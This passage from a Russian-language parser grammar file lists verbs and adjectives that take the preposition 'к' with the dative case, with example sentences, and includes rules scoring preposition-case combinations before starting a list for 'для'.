rus_verbs:отпрыгнуть{}, // Вадим поспешно отпрыгнул к борту. (отпрыгнуть к) rus_verbs:отступить{}, // мы поспешно отступили к стене. (отступить к) rus_verbs:ЗАБРАТЬ{}, // мы забрали их к себе. (ЗАБРАТЬ к) rus_verbs:ВЗЯТЬ{}, // потом возьму тебя к себе. (ВЗЯТЬ К) rus_verbs:лежать{}, // наш путь лежал к ним. (лежать к) rus_verbs:поползти{}, // ее рука поползла к оружию. (поползти к) rus_verbs:требовать{}, // вас требует к себе император. (требовать к) rus_verbs:поехать{}, // ты должен поехать к нему. (поехать к) rus_verbs:тянуться{}, // мордой животное тянулось к земле. (тянуться к) rus_verbs:ЖДАТЬ{}, // жди их завтра к утру. (ЖДАТЬ К) rus_verbs:ПОЛЕТЕТЬ{}, // они стремительно полетели к земле. (ПОЛЕТЕТЬ К) rus_verbs:подойти{}, // помоги мне подойти к столу. (подойти к) rus_verbs:РАЗВЕРНУТЬ{}, // мужик развернул к нему коня. (РАЗВЕРНУТЬ К) rus_verbs:ПРИВЕЗТИ{}, // нас привезли прямо к королю. (ПРИВЕЗТИ К) rus_verbs:отпрянуть{}, // незнакомец отпрянул к стене. (отпрянуть к) rus_verbs:побежать{}, // Cергей побежал к двери. (побежать к) rus_verbs:отбросить{}, // сильный удар отбросил его к стене. (отбросить к) rus_verbs:ВЫНУДИТЬ{}, // они вынудили меня к сотрудничеству (ВЫНУДИТЬ К) rus_verbs:подтянуть{}, // он подтянул к себе стул и сел на него (подтянуть к) rus_verbs:сойти{}, // по узкой тропинке путники сошли к реке. (сойти к) rus_verbs:являться{}, // по ночам к нему являлись призраки. (являться к) rus_verbs:ГНАТЬ{}, // ледяной ветер гнал их к югу. (ГНАТЬ К) rus_verbs:ВЫВЕСТИ{}, // она вывела нас точно к месту. (ВЫВЕСТИ К) rus_verbs:выехать{}, // почти сразу мы выехали к реке. rus_verbs:пододвигаться{}, // пододвигайся к окну rus_verbs:броситься{}, // большая часть защитников стен бросилась к воротам. rus_verbs:представить{}, // Его представили к ордену. rus_verbs:двигаться{}, // между тем чудище неторопливо двигалось к берегу. rus_verbs:выскочить{}, // тем временем они выскочили к реке. rus_verbs:выйти{}, // тем временем они вышли к лестнице. rus_verbs:потянуть{}, // Мальчик схватил верёвку и потянул её к себе. rus_verbs:приложить{}, // приложить к детали повышенное усилие rus_verbs:пройти{}, // пройти к стойке регистрации (стойка регистрации - проверить проверку) rus_verbs:отнестись{}, // отнестись к животным с сочуствием rus_verbs:привязать{}, // привязать за лапу веревкой к колышку, воткнутому в землю rus_verbs:прыгать{}, // прыгать к хозяину на стол rus_verbs:приглашать{}, // приглашать к доктору rus_verbs:рваться{}, // Чужие люди рвутся к власти rus_verbs:понестись{}, // понестись к обрыву rus_verbs:питать{}, // питать привязанность к алкоголю rus_verbs:заехать{}, // Коля заехал к Оле rus_verbs:переехать{}, // переехать к родителям rus_verbs:ползти{}, // ползти к дороге rus_verbs:сводиться{}, // сводиться к элементарному действию rus_verbs:добавлять{}, // добавлять к общей сумме rus_verbs:подбросить{}, // подбросить к потолку rus_verbs:призывать{}, // призывать к спокойствию rus_verbs:пробираться{}, // пробираться к партизанам rus_verbs:отвезти{}, // отвезти к родителям rus_verbs:применяться{}, // применяться к уравнению rus_verbs:сходиться{}, // сходиться к точному решению rus_verbs:допускать{}, // допускать к сдаче зачета rus_verbs:свести{}, // свести к нулю rus_verbs:придвинуть{}, // придвинуть к мальчику rus_verbs:подготовить{}, // подготовить к печати rus_verbs:подобраться{}, // подобраться к оленю rus_verbs:заторопиться{}, // заторопиться к выходу rus_verbs:пристать{}, // пристать к берегу rus_verbs:поманить{}, // поманить к себе rus_verbs:припасть{}, // припасть к алтарю rus_verbs:притащить{}, // притащить к себе домой rus_verbs:прижимать{}, // прижимать к груди rus_verbs:подсесть{}, // подсесть к симпатичной девочке rus_verbs:придвинуться{}, // придвинуться к окну rus_verbs:отпускать{}, // отпускать к другу rus_verbs:пригнуться{}, // пригнуться к земле rus_verbs:пристроиться{}, // пристроиться к колонне rus_verbs:сгрести{}, // сгрести к себе rus_verbs:удрать{}, // удрать к цыганам rus_verbs:прибавиться{}, // прибавиться к общей сумме rus_verbs:присмотреться{}, // присмотреться к покупке rus_verbs:подкатить{}, // подкатить к трюму rus_verbs:клонить{}, // клонить ко сну rus_verbs:проследовать{}, // проследовать к выходу rus_verbs:пододвинуть{}, // пододвинуть к себе rus_verbs:применять{}, // применять к сотрудникам rus_verbs:прильнуть{}, // прильнуть к экранам rus_verbs:подвинуть{}, // подвинуть к себе rus_verbs:примчаться{}, // примчаться к папе rus_verbs:подкрасться{}, // подкрасться к жертве rus_verbs:привязаться{}, // привязаться к собаке rus_verbs:забирать{}, // забирать к себе rus_verbs:прорваться{}, // прорваться к кассе rus_verbs:прикасаться{}, // прикасаться к коже rus_verbs:уносить{}, // уносить к себе rus_verbs:подтянуться{}, // подтянуться к месту rus_verbs:привозить{}, // привозить к ветеринару rus_verbs:подползти{}, // подползти к зайцу rus_verbs:приблизить{}, // приблизить к глазам rus_verbs:применить{}, // применить к уравнению простое преобразование rus_verbs:приглядеться{}, // приглядеться к изображению rus_verbs:приложиться{}, // приложиться к ручке rus_verbs:приставать{}, // приставать к девчонкам rus_verbs:запрещаться{}, // запрещаться к показу rus_verbs:прибегать{}, // прибегать к насилию rus_verbs:побудить{}, // побудить к действиям rus_verbs:притягивать{}, // притягивать к себе rus_verbs:пристроить{}, // пристроить к полезному делу rus_verbs:приговорить{}, // приговорить к смерти rus_verbs:склоняться{}, // склоняться к прекращению разработки rus_verbs:подъезжать{}, // подъезжать к вокзалу rus_verbs:привалиться{}, // привалиться к забору rus_verbs:наклоняться{}, // наклоняться к щенку rus_verbs:подоспеть{}, // подоспеть к обеду rus_verbs:прилипнуть{}, // прилипнуть к окну rus_verbs:приволочь{}, // приволочь к себе rus_verbs:устремляться{}, // устремляться к вершине rus_verbs:откатиться{}, // откатиться к исходным позициям rus_verbs:побуждать{}, // побуждать к действиям rus_verbs:прискакать{}, // прискакать к кормежке rus_verbs:присматриваться{}, // присматриваться к новичку rus_verbs:прижиматься{}, // прижиматься к борту rus_verbs:жаться{}, // жаться к огню rus_verbs:передвинуть{}, // передвинуть к окну rus_verbs:допускаться{}, // допускаться к экзаменам rus_verbs:прикрепить{}, // прикрепить к корпусу rus_verbs:отправлять{}, // отправлять к специалистам rus_verbs:перебежать{}, // перебежать к врагам rus_verbs:притронуться{}, // притронуться к реликвии rus_verbs:заспешить{}, // заспешить к семье rus_verbs:ревновать{}, // ревновать к сопернице rus_verbs:подступить{}, // подступить к горлу rus_verbs:уводить{}, // уводить к ветеринару rus_verbs:побросать{}, // побросать к ногам rus_verbs:подаваться{}, // подаваться к ужину rus_verbs:приписывать{}, // приписывать к достижениям rus_verbs:относить{}, // относить к растениям rus_verbs:принюхаться{}, // принюхаться к ароматам rus_verbs:подтащить{}, // подтащить к себе rus_verbs:прислонить{}, // прислонить к стене rus_verbs:подплыть{}, // подплыть к бую rus_verbs:опаздывать{}, // опаздывать к стилисту rus_verbs:примкнуть{}, // примкнуть к деомнстрантам rus_verbs:стекаться{}, // стекаются к стенам тюрьмы rus_verbs:подготовиться{}, // подготовиться к марафону rus_verbs:приглядываться{}, // приглядываться к новичку rus_verbs:присоединяться{}, // присоединяться к сообществу rus_verbs:клониться{}, // клониться ко сну rus_verbs:привыкать{}, // привыкать к хорошему rus_verbs:принудить{}, // принудить к миру rus_verbs:уплыть{}, // уплыть к далекому берегу rus_verbs:утащить{}, // утащить к детенышам rus_verbs:приплыть{}, // приплыть к финишу rus_verbs:подбегать{}, // подбегать к хозяину rus_verbs:лишаться{}, // лишаться средств к существованию rus_verbs:приступать{}, // приступать к операции rus_verbs:пробуждать{}, // пробуждать лекцией интерес к математике rus_verbs:подключить{}, // подключить к трубе rus_verbs:подключиться{}, // подключиться к сети rus_verbs:прилить{}, // прилить к лицу rus_verbs:стучаться{}, // стучаться к соседям rus_verbs:пристегнуть{}, // пристегнуть к креслу rus_verbs:присоединить{}, // присоединить к сети rus_verbs:отбежать{}, // отбежать к противоположной стене rus_verbs:подвезти{}, // подвезти к набережной rus_verbs:прибегнуть{}, // прибегнуть к хитрости rus_verbs:приучить{}, // приучить к туалету rus_verbs:подталкивать{}, // подталкивать к выходу rus_verbs:прорываться{}, // прорываться к выходу rus_verbs:увозить{}, // увозить к ветеринару rus_verbs:засеменить{}, // засеменить к выходу rus_verbs:крепиться{}, // крепиться к потолку rus_verbs:прибрать{}, // прибрать к рукам rus_verbs:пристраститься{}, // пристраститься к наркотикам rus_verbs:поспеть{}, // поспеть к обеду rus_verbs:привязывать{}, // привязывать к дереву rus_verbs:прилагать{}, // прилагать к документам rus_verbs:переправить{}, // переправить к дедушке rus_verbs:подогнать{}, // подогнать к воротам rus_verbs:тяготеть{}, // тяготеть к социализму rus_verbs:подбираться{}, // подбираться к оленю rus_verbs:подступать{}, // подступать к горлу rus_verbs:примыкать{}, // примыкать к первому элементу rus_verbs:приладить{}, // приладить к велосипеду rus_verbs:подбрасывать{}, // подбрасывать к потолку rus_verbs:перевозить{}, // перевозить к новому месту дислокации rus_verbs:усаживаться{}, // усаживаться к окну rus_verbs:приближать{}, // приближать к глазам rus_verbs:попроситься{}, // попроситься к бабушке rus_verbs:прибить{}, // прибить к доске rus_verbs:перетащить{}, // перетащить к себе rus_verbs:прицепить{}, // прицепить к паровозу rus_verbs:прикладывать{}, // прикладывать к ране rus_verbs:устареть{}, // устареть к началу войны rus_verbs:причалить{}, // причалить к пристани rus_verbs:приспособиться{}, // приспособиться к опозданиям rus_verbs:принуждать{}, // принуждать к миру rus_verbs:соваться{}, // соваться к директору rus_verbs:протолкаться{}, // протолкаться к прилавку rus_verbs:приковать{}, // приковать к батарее rus_verbs:подкрадываться{}, // подкрадываться к суслику rus_verbs:подсадить{}, // подсадить к арестонту rus_verbs:прикатить{}, // прикатить к финишу rus_verbs:протащить{}, // протащить к владыке rus_verbs:сужаться{}, // сужаться к основанию rus_verbs:присовокупить{}, // присовокупить к пожеланиям rus_verbs:пригвоздить{}, // пригвоздить к доске rus_verbs:отсылать{}, // отсылать к первоисточнику rus_verbs:изготовиться{}, // изготовиться к прыжку rus_verbs:прилагаться{}, // прилагаться к покупке rus_verbs:прицепиться{}, // прицепиться к вагону rus_verbs:примешиваться{}, // примешиваться к вину rus_verbs:переселить{}, // переселить к старшекурсникам rus_verbs:затрусить{}, // затрусить к выходе rus_verbs:приспособить{}, // приспособить к обогреву rus_verbs:примериться{}, // примериться к аппарату rus_verbs:прибавляться{}, // прибавляться к пенсии rus_verbs:подкатиться{}, // подкатиться к воротам rus_verbs:стягивать{}, // стягивать к границе rus_verbs:дописать{}, // дописать к роману rus_verbs:подпустить{}, // подпустить к корове rus_verbs:склонять{}, // склонять к сотрудничеству rus_verbs:припечатать{}, // припечатать к стене rus_verbs:охладеть{}, // охладеть к музыке rus_verbs:пришить{}, // пришить к шинели rus_verbs:принюхиваться{}, // принюхиваться к ветру rus_verbs:подрулить{}, // подрулить к барышне rus_verbs:наведаться{}, // наведаться к оракулу rus_verbs:клеиться{}, // клеиться к конверту rus_verbs:перетянуть{}, // перетянуть к себе rus_verbs:переметнуться{}, // переметнуться к конкурентам rus_verbs:липнуть{}, // липнуть к сокурсницам rus_verbs:поковырять{}, // поковырять к выходу rus_verbs:подпускать{}, // подпускать к пульту управления rus_verbs:присосаться{}, // присосаться к источнику rus_verbs:приклеить{}, // приклеить к стеклу rus_verbs:подтягивать{}, // подтягивать к себе rus_verbs:подкатывать{}, // подкатывать к даме rus_verbs:притрагиваться{}, // притрагиваться к опухоли rus_verbs:слетаться{}, // слетаться к водопою rus_verbs:хаживать{}, // хаживать к батюшке rus_verbs:привлекаться{}, // привлекаться к административной ответственности rus_verbs:подзывать{}, // подзывать к себе rus_verbs:прикладываться{}, // прикладываться к иконе rus_verbs:подтягиваться{}, // подтягиваться к парламенту rus_verbs:прилепить{}, // прилепить к стенке холодильника rus_verbs:пододвинуться{}, // пододвинуться к экрану rus_verbs:приползти{}, // приползти к дереву rus_verbs:запаздывать{}, // запаздывать к обеду rus_verbs:припереть{}, // припереть к стене rus_verbs:нагибаться{}, // нагибаться к цветку инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять к воротам деепричастие:сгоняв{}, rus_verbs:поковылять{}, // поковылять к выходу rus_verbs:привалить{}, // привалить к столбу rus_verbs:отпроситься{}, // отпроситься к родителям rus_verbs:приспосабливаться{}, // приспосабливаться к новым условиям rus_verbs:прилипать{}, // прилипать к рукам rus_verbs:подсоединить{}, // подсоединить к приборам rus_verbs:приливать{}, // приливать к голове rus_verbs:подселить{}, // подселить к другим новичкам rus_verbs:прилепиться{}, // прилепиться к шкуре rus_verbs:подлетать{}, // подлетать к пункту назначения rus_verbs:пристегнуться{}, // пристегнуться к креслу ремнями rus_verbs:прибиться{}, // прибиться к стае, улетающей на юг rus_verbs:льнуть{}, // льнуть к заботливому хозяину rus_verbs:привязываться{}, // привязываться к любящему хозяину rus_verbs:приклеиться{}, // приклеиться к спине rus_verbs:стягиваться{}, // стягиваться к сенату rus_verbs:подготавливать{}, // подготавливать к выходу на арену rus_verbs:приглашаться{}, // приглашаться к доктору rus_verbs:причислять{}, // причислять к отличникам rus_verbs:приколоть{}, // приколоть к лацкану rus_verbs:наклонять{}, // наклонять к горизонту rus_verbs:припадать{}, // припадать к первоисточнику rus_verbs:приобщиться{}, // приобщиться к культурному наследию rus_verbs:придираться{}, // придираться к мелким ошибкам rus_verbs:приучать{}, // приучать к лотку rus_verbs:промотать{}, // промотать к началу rus_verbs:прихлынуть{}, // прихлынуть к голове rus_verbs:пришвартоваться{}, // пришвартоваться к первому пирсу rus_verbs:прикрутить{}, // прикрутить к велосипеду rus_verbs:подплывать{}, // подплывать к лодке rus_verbs:приравниваться{}, // приравниваться к побегу rus_verbs:подстрекать{}, // подстрекать к вооруженной борьбе с оккупантами rus_verbs:изготовляться{}, // изготовляться к прыжку из стратосферы rus_verbs:приткнуться{}, // приткнуться к первой группе туристов rus_verbs:приручить{}, // приручить котика к лотку rus_verbs:приковывать{}, // приковывать к себе все внимание прессы rus_verbs:приготовляться{}, // приготовляться к первому экзамену rus_verbs:остыть{}, // Вода остынет к утру. rus_verbs:приехать{}, // Он приедет к концу будущей недели. rus_verbs:подсаживаться{}, rus_verbs:успевать{}, // успевать к стилисту rus_verbs:привлекать{}, // привлекать к себе внимание прилагательное:устойчивый{}, // переводить в устойчивую к перегреву форму rus_verbs:прийтись{}, // прийтись ко двору инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована к условиям крайнего севера инфинитив:адаптировать{вид:соверш}, глагол:адаптировать{вид:несоверш}, глагол:адаптировать{вид:соверш}, деепричастие:адаптировав{}, деепричастие:адаптируя{}, прилагательное:адаптирующий{}, прилагательное:адаптировавший{ вид:соверш }, //+прилагательное:адаптировавший{ вид:несоверш }, прилагательное:адаптированный{}, инфинитив:адаптироваться{вид:соверш}, // тело адаптировалось к условиям суровой зимы инфинитив:адаптироваться{вид:несоверш}, глагол:адаптироваться{вид:соверш}, глагол:адаптироваться{вид:несоверш}, деепричастие:адаптировавшись{}, деепричастие:адаптируясь{}, прилагательное:адаптировавшийся{вид:соверш}, //+прилагательное:адаптировавшийся{вид:несоверш}, прилагательное:адаптирующийся{}, rus_verbs:апеллировать{}, // оратор апеллировал к патриотизму своих слушателей rus_verbs:близиться{}, // Шторм близится к побережью rus_verbs:доставить{}, // Эскиз ракеты, способной доставить корабль к Луне rus_verbs:буксировать{}, // Буксир буксирует танкер к месту стоянки rus_verbs:причислить{}, // Мы причислили его к числу экспертов rus_verbs:вести{}, // Наша партия ведет народ к процветанию rus_verbs:взывать{}, // Учителя взывают к совести хулигана rus_verbs:воззвать{}, // воззвать соплеменников к оружию rus_verbs:возревновать{}, // возревновать к поклонникам rus_verbs:воспылать{}, // Коля воспылал к Оле страстной любовью rus_verbs:восходить{}, // восходить к вершине rus_verbs:восшествовать{}, // восшествовать к вершине rus_verbs:успеть{}, // успеть к обеду rus_verbs:повернуться{}, // повернуться к кому-то rus_verbs:обратиться{}, // обратиться к охраннику rus_verbs:звать{}, // звать к столу rus_verbs:отправиться{}, // отправиться к парикмахеру rus_verbs:обернуться{}, // обернуться к зовущему rus_verbs:явиться{}, // явиться к следователю rus_verbs:уехать{}, // уехать к родне rus_verbs:прибыть{}, // прибыть к перекличке rus_verbs:привыкнуть{}, // привыкнуть к голоду rus_verbs:уходить{}, // уходить к цыганам rus_verbs:привести{}, // привести к себе rus_verbs:шагнуть{}, // шагнуть к славе rus_verbs:относиться{}, // относиться к прежним периодам rus_verbs:подослать{}, // подослать к врагам rus_verbs:поспешить{}, // поспешить к обеду rus_verbs:зайти{}, // зайти к подруге rus_verbs:позвать{}, // позвать к себе rus_verbs:потянуться{}, // потянуться к рычагам rus_verbs:пускать{}, // пускать к себе rus_verbs:отвести{}, // отвести к врачу rus_verbs:приблизиться{}, // приблизиться к решению задачи rus_verbs:прижать{}, // прижать к стене rus_verbs:отправить{}, // отправить к доктору rus_verbs:падать{}, // падать к многолетним минимумам rus_verbs:полезть{}, // полезть к дерущимся rus_verbs:лезть{}, // Ты сама ко мне лезла! rus_verbs:направить{}, // направить к майору rus_verbs:приводить{}, // приводить к дантисту rus_verbs:кинуться{}, // кинуться к двери rus_verbs:поднести{}, // поднести к глазам rus_verbs:подниматься{}, // подниматься к себе rus_verbs:прибавить{}, // прибавить к результату rus_verbs:зашагать{}, // зашагать к выходу rus_verbs:склониться{}, // склониться к земле rus_verbs:стремиться{}, // стремиться к вершине rus_verbs:лететь{}, // лететь к родственникам rus_verbs:ездить{}, // ездить к любовнице rus_verbs:приближаться{}, // приближаться к финише rus_verbs:помчаться{}, // помчаться к стоматологу rus_verbs:прислушаться{}, // прислушаться к происходящему rus_verbs:изменить{}, // изменить к лучшему собственную жизнь rus_verbs:проявить{}, // проявить к погибшим сострадание rus_verbs:подбежать{}, // подбежать к упавшему rus_verbs:терять{}, // терять к партнерам доверие rus_verbs:пропустить{}, // пропустить к певцу rus_verbs:подвести{}, // подвести к глазам rus_verbs:меняться{}, // меняться к лучшему rus_verbs:заходить{}, // заходить к другу rus_verbs:рвануться{}, // рвануться к воде rus_verbs:привлечь{}, // привлечь к себе внимание rus_verbs:присоединиться{}, // присоединиться к сети rus_verbs:приезжать{}, // приезжать к дедушке rus_verbs:дернуться{}, // дернуться к борту rus_verbs:подъехать{}, // подъехать к воротам rus_verbs:готовиться{}, // готовиться к дождю rus_verbs:убежать{}, // убежать к маме rus_verbs:поднимать{}, // поднимать к источнику сигнала rus_verbs:отослать{}, // отослать к руководителю rus_verbs:приготовиться{}, // приготовиться к худшему rus_verbs:приступить{}, // приступить к выполнению обязанностей rus_verbs:метнуться{}, // метнуться к фонтану rus_verbs:прислушиваться{}, // прислушиваться к голосу разума rus_verbs:побрести{}, // побрести к выходу rus_verbs:мчаться{}, // мчаться к успеху rus_verbs:нестись{}, // нестись к обрыву rus_verbs:попадать{}, // попадать к хорошему костоправу rus_verbs:опоздать{}, // опоздать к психотерапевту rus_verbs:посылать{}, // посылать к доктору rus_verbs:поплыть{}, // поплыть к берегу rus_verbs:подтолкнуть{}, // подтолкнуть к активной работе rus_verbs:отнести{}, // отнести животное к ветеринару rus_verbs:прислониться{}, // прислониться к стволу rus_verbs:наклонить{}, // наклонить к миске с молоком rus_verbs:прикоснуться{}, // прикоснуться к поверхности rus_verbs:увезти{}, // увезти к бабушке rus_verbs:заканчиваться{}, // заканчиваться к концу путешествия rus_verbs:подозвать{}, // подозвать к себе rus_verbs:улететь{}, // улететь к теплым берегам rus_verbs:ложиться{}, // ложиться к мужу rus_verbs:убираться{}, // убираться к чертовой бабушке rus_verbs:класть{}, // класть к другим документам rus_verbs:доставлять{}, // доставлять к подъезду rus_verbs:поворачиваться{}, // поворачиваться к источнику шума rus_verbs:заглядывать{}, // заглядывать к любовнице rus_verbs:занести{}, // занести к заказчикам rus_verbs:прибежать{}, // прибежать к папе rus_verbs:притянуть{}, // притянуть к причалу rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму rus_verbs:подать{}, // он подал лимузин к подъезду rus_verbs:подавать{}, // она подавала соус к мясу rus_verbs:приобщаться{}, // приобщаться к культуре прилагательное:неспособный{}, // Наша дочка неспособна к учению. прилагательное:неприспособленный{}, // Эти устройства неприспособлены к работе в жару прилагательное:предназначенный{}, // Старый дом предназначен к сносу. прилагательное:внимательный{}, // Она всегда внимательна к гостям. прилагательное:назначенный{}, // Дело назначено к докладу. прилагательное:разрешенный{}, // Эта книга разрешена к печати. прилагательное:снисходительный{}, // Этот учитель снисходителен к ученикам. прилагательное:готовый{}, // Я готов к экзаменам. прилагательное:требовательный{}, // Он очень требователен к себе. прилагательное:жадный{}, // Он жаден к деньгам. прилагательное:глухой{}, // Он глух к моей просьбе. прилагательное:добрый{}, // Он добр к детям. rus_verbs:проявлять{}, // Он всегда проявлял живой интерес к нашим делам. rus_verbs:плыть{}, // Пароход плыл к берегу. rus_verbs:пойти{}, // я пошел к доктору rus_verbs:придти{}, // придти к выводу rus_verbs:заглянуть{}, // Я заглянул к вам мимоходом. rus_verbs:принадлежать{}, // Это существо принадлежит к разряду растений. rus_verbs:подготавливаться{}, // Ученики подготавливаются к экзаменам. rus_verbs:спускаться{}, // Улица круто спускается к реке. rus_verbs:спуститься{}, // Мы спустились к реке. rus_verbs:пустить{}, // пускать ко дну rus_verbs:приговаривать{}, // Мы приговариваем тебя к пожизненному веселью! rus_verbs:отойти{}, // Дом отошёл к племяннику. rus_verbs:отходить{}, // Коля отходил ко сну. rus_verbs:приходить{}, // местные жители к нему приходили лечиться rus_verbs:кидаться{}, // не кидайся к столу rus_verbs:ходить{}, // Она простудилась и сегодня ходила к врачу. rus_verbs:закончиться{}, // Собрание закончилось к вечеру. rus_verbs:послать{}, // Они выбрали своих депутатов и послали их к заведующему. rus_verbs:направиться{}, // Мы сошли на берег и направились к городу. rus_verbs:направляться{}, rus_verbs:свестись{}, // Всё свелось к нулю. rus_verbs:прислать{}, // Пришлите кого-нибудь к ней. rus_verbs:присылать{}, // Он присылал к должнику своих головорезов rus_verbs:подлететь{}, // Самолёт подлетел к лесу. rus_verbs:возвращаться{}, // он возвращается к старой работе глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, деепричастие:находясь{}, прилагательное:находившийся{}, прилагательное:находящийся{}, // Япония находится к востоку от Китая. rus_verbs:возвращать{}, // возвращать к жизни rus_verbs:располагать{}, // Атмосфера располагает к работе. rus_verbs:возвратить{}, // Колокольный звон возвратил меня к прошлому. rus_verbs:поступить{}, // К нам поступила жалоба. rus_verbs:поступать{}, // К нам поступают жалобы. rus_verbs:прыгнуть{}, // Белка прыгнула к дереву rus_verbs:торопиться{}, // пассажиры торопятся к выходу rus_verbs:поторопиться{}, // поторопитесь к выходу rus_verbs:вернуть{}, // вернуть к активной жизни rus_verbs:припирать{}, // припирать к стенке rus_verbs:проваливать{}, // Проваливай ко всем чертям! rus_verbs:вбежать{}, // Коля вбежал ко мне rus_verbs:вбегать{}, // Коля вбегал ко мне глагол:забегать{ вид:несоверш }, // Коля забегал ко мне rus_verbs:постучаться{}, // Коля постучался ко мне. rus_verbs:повести{}, // Спросил я озорного Антонио и повел его к дому rus_verbs:понести{}, // Мы понесли кота к ветеринару rus_verbs:принести{}, // Я принес кота к ветеринару rus_verbs:устремиться{}, // Мы устремились к ручью. rus_verbs:подводить{}, // Учитель подводил детей к аквариуму rus_verbs:следовать{}, // Я получил приказ следовать к месту нового назначения. rus_verbs:пригласить{}, // Я пригласил к себе товарищей. rus_verbs:собираться{}, // Я собираюсь к тебе в гости. rus_verbs:собраться{}, // Маша собралась к дантисту rus_verbs:сходить{}, // Я схожу к врачу. rus_verbs:идти{}, // Маша уверенно шла к Пете rus_verbs:измениться{}, // Основные индексы рынка акций РФ почти не изменились к закрытию. rus_verbs:отыграть{}, // Российский рынок акций отыграл падение к закрытию. rus_verbs:заканчивать{}, // Заканчивайте к обеду rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время rus_verbs:окончить{}, // rus_verbs:дозвониться{}, // Я не мог к вам дозвониться. глагол:прийти{}, инфинитив:прийти{}, // Антонио пришел к Элеонор rus_verbs:уйти{}, // Антонио ушел к Элеонор rus_verbs:бежать{}, // Антонио бежит к Элеонор rus_verbs:спешить{}, // Антонио спешит к Элеонор rus_verbs:скакать{}, // Антонио скачет к Элеонор rus_verbs:красться{}, // Антонио крадётся к Элеонор rus_verbs:поскакать{}, // беглецы поскакали к холмам rus_verbs:перейти{} // Антонио перешел к Элеонор } fact гл_предл { if context { Гл_К_Дат предлог:к{} *:*{ падеж:дат } } then return true } fact гл_предл { if context { Гл_К_Дат предлог:к{} @regex("[a-z]+[0-9]*") } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:к{} *:*{} } then return false,-5 } #endregion Предлог_К #region Предлог_ДЛЯ // ------------------- С ПРЕДЛОГОМ 'ДЛЯ' ---------------------- wordentry_set Гл_ДЛЯ_Род={ частица:нет{}, // для меня нет других путей. частица:нету{}, rus_verbs:ЗАДЕРЖАТЬ{}, // полиция может задержать их для выяснения всех обстоятельств и дальнейшего опознания. (ЗАДЕРЖАТЬ) rus_verbs:ДЕЛАТЬСЯ{}, // это делалось для людей (ДЕЛАТЬСЯ) rus_verbs:обернуться{}, // обернулась для греческого рынка труда банкротствами предприятий и масштабными сокращениями (обернуться) rus_verbs:ПРЕДНАЗНАЧАТЬСЯ{}, // Скорее всего тяжелый клинок вообще не предназначался для бросков (ПРЕДНАЗНАЧАТЬСЯ) rus_verbs:ПОЛУЧИТЬ{}, // ты можешь получить его для нас? (ПОЛУЧИТЬ) rus_verbs:ПРИДУМАТЬ{}, // Ваш босс уже придумал для нас веселенькую смерть. (ПРИДУМАТЬ) rus_verbs:оказаться{}, // это оказалось для них тяжелой задачей rus_verbs:ГОВОРИТЬ{}, // теперь она говорила для нас обоих (ГОВОРИТЬ) rus_verbs:ОСВОБОДИТЬ{}, // освободить ее для тебя? (ОСВОБОДИТЬ) rus_verbs:работать{}, // Мы работаем для тех, кто ценит удобство rus_verbs:СТАТЬ{}, // кем она станет для него? (СТАТЬ) rus_verbs:ЯВИТЬСЯ{}, // вы для этого явились сюда? (ЯВИТЬСЯ) rus_verbs:ПОТЕРЯТЬ{}, // жизнь потеряла для меня всякий смысл (ПОТЕРЯТЬ) rus_verbs:УТРАТИТЬ{}, // мой мир утратил для меня всякое подобие смысла (УТРАТИТЬ) rus_verbs:ДОСТАТЬ{}, // ты должен достать ее для меня! (ДОСТАТЬ) rus_verbs:БРАТЬ{}, // некоторые берут для себя (БРАТЬ) rus_verbs:ИМЕТЬ{}, // имею для вас новость (ИМЕТЬ) rus_verbs:ЖДАТЬ{}, // тебя ждут для разговора (ЖДАТЬ) rus_verbs:ПРОПАСТЬ{}, // совсем пропал для мира (ПРОПАСТЬ) rus_verbs:ПОДНЯТЬ{}, // нас подняли для охоты (ПОДНЯТЬ) rus_verbs:ОСТАНОВИТЬСЯ{}, // время остановилось для нее (ОСТАНОВИТЬСЯ) rus_verbs:НАЧИНАТЬСЯ{}, // для него начинается новая жизнь (НАЧИНАТЬСЯ) rus_verbs:КОНЧИТЬСЯ{}, // кончились для него эти игрушки (КОНЧИТЬСЯ) rus_verbs:НАСТАТЬ{}, // для него настало время действовать (НАСТАТЬ) rus_verbs:СТРОИТЬ{}, // для молодых строили новый дом (СТРОИТЬ) rus_verbs:ВЗЯТЬ{}, // возьми для защиты этот меч (ВЗЯТЬ) rus_verbs:ВЫЯСНИТЬ{}, // попытаюсь выяснить для вас всю цепочку (ВЫЯСНИТЬ) rus_verbs:ПРИГОТОВИТЬ{}, // давай попробуем приготовить для них сюрприз (ПРИГОТОВИТЬ) rus_verbs:ПОДХОДИТЬ{}, // берег моря мертвых подходил для этого идеально (ПОДХОДИТЬ) rus_verbs:ОСТАТЬСЯ{}, // внешний вид этих тварей остался для нас загадкой (ОСТАТЬСЯ) rus_verbs:ПРИВЕЗТИ{}, // для меня привезли пиво (ПРИВЕЗТИ) прилагательное:ХАРАКТЕРНЫЙ{}, // Для всей территории края характерен умеренный континентальный климат (ХАРАКТЕРНЫЙ) rus_verbs:ПРИВЕСТИ{}, // для меня белую лошадь привели (ПРИВЕСТИ ДЛЯ) rus_verbs:ДЕРЖАТЬ{}, // их держат для суда (ДЕРЖАТЬ ДЛЯ) rus_verbs:ПРЕДОСТАВИТЬ{}, // вьетнамец предоставил для мигрантов места проживания в ряде вологодских общежитий (ПРЕДОСТАВИТЬ ДЛЯ) rus_verbs:ПРИДУМЫВАТЬ{}, // придумывая для этого разнообразные причины (ПРИДУМЫВАТЬ ДЛЯ) rus_verbs:оставить{}, // или вообще решили оставить планету для себя rus_verbs:оставлять{}, rus_verbs:ВОССТАНОВИТЬ{}, // как ты можешь восстановить это для меня? (ВОССТАНОВИТЬ ДЛЯ) rus_verbs:ТАНЦЕВАТЬ{}, // а вы танцевали для меня танец семи покрывал (ТАНЦЕВАТЬ ДЛЯ) rus_verbs:ДАТЬ{}, // твой принц дал мне это для тебя! (ДАТЬ ДЛЯ) rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // мужчина из лагеря решил воспользоваться для передвижения рекой (ВОСПОЛЬЗОВАТЬСЯ ДЛЯ) rus_verbs:СЛУЖИТЬ{}, // они служили для разговоров (СЛУЖИТЬ ДЛЯ) rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // Для вычисления радиуса поражения ядерных взрывов используется формула (ИСПОЛЬЗОВАТЬСЯ 